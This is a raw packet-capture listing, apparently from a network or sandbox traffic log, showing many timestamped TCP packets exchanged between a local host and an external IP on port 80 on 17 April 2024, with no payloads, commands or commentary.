Apr 17, 2024 09:17:02.894541025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894578934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894615889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894651890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894690037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894726992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894763947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894777060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894803047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894839048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894840002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894869089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894876957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894906998 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894915104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894927979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894953012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.894975901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.894989967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895003080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895029068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895061016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895066023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895097971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895102978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895124912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895145893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895159006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895184040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895205021 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895222902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895239115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895262957 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895277023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895306110 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895323038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895343065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895359993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895380974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895396948 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895418882 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895437002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895457029 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895477057 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895495892 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895512104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895533085 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895550966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895570040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895585060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895607948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895642996 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895678043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895679951 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895694971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895704985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895716906 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895740986 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895755053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895777941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895792961 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895812035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895831108 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895849943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895869970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895894051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895908117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895926952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895946026 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.895967007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.895984888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896002054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896022081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896043062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896060944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896078110 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896128893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896128893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896176100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896192074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896214962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896236897 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896251917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896275043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896290064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896305084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896384954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896400928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896423101 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896441936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896460056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896476984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896497965 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896513939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896536112 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896550894 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896574974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896589994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896614075 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896631002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896650076 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896666050 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896687984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896704912 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896723986 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896739006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896764040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896779060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896802902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896817923 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896840096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896855116 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896877050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896893978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896914005 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896929026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896950960 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.896966934 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.896991968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897006989 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897031069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897047043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897069931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897084951 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897109032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897124052 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897147894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897161007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897186995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897202969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897224903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897238970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897264004 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897275925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897301912 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897315979 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897340059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897351980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897378922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897393942 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897418022 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897433043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897454977 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:02.897469997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:02.897511005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102583885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102617979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102636099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102657080 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102677107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102693081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102710009 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102726936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102734089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102744102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102752924 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102761984 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102771044 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102787971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102788925 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102807045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102818966 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102826118 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102844000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102849007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102861881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102873087 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102880001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102896929 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102914095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102916002 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102926016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102933884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102942944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102952003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.102961063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102977991 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.102996111 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103003025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103033066 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103055000 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103069067 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103085995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103106976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103133917 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103144884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103163004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103183985 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103208065 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103221893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103230953 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103260994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103280067 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103296995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103312969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103334904 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103353024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103372097 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103389025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103410006 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103425980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103447914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103471994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103485107 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103502035 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103523016 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103538990 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103559971 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103578091 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103600025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103617907 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103637934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103653908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103674889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103694916 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103713989 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103739023 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103753090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103761911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103790998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103806973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103828907 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103864908 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103867054 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103890896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103903055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103921890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103941917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103965044 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.103981018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.103993893 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104021072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104037046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104058981 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104079008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104095936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104149103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104163885 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104165077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104202032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104229927 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104243994 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104268074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104281902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104294062 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104319096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104336977 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104357958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104378939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104396105 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104414940 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104435921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104451895 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104474068 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104490042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104511976 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104526043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104549885 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104564905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104587078 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104600906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104624033 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104636908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104660988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104676008 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104697943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104715109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104737997 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104753017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104774952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104787111 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104813099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104827881 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104850054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104866982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104886055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104902029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104927063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104940891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.104964018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.104975939 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105006933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105015039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105046988 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105057001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105084896 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105101109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105123043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105138063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105160952 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105181932 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105196953 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105211973 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105236053 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105249882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105273962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105289936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105312109 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105328083 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105350018 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105364084 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105442047 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105460882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105479956 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105496883 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105518103 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105534077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105555058 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105568886 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105592012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105607033 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105629921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105644941 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105669975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105684042 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105706930 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105719090 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105745077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105757952 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105782032 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105798006 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105820894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105834007 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105858088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105869055 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105896950 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105911970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105936050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105948925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.105978012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.105988026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.106015921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.106030941 CEST	49704	80	192.168.2.5	185.172.128.23
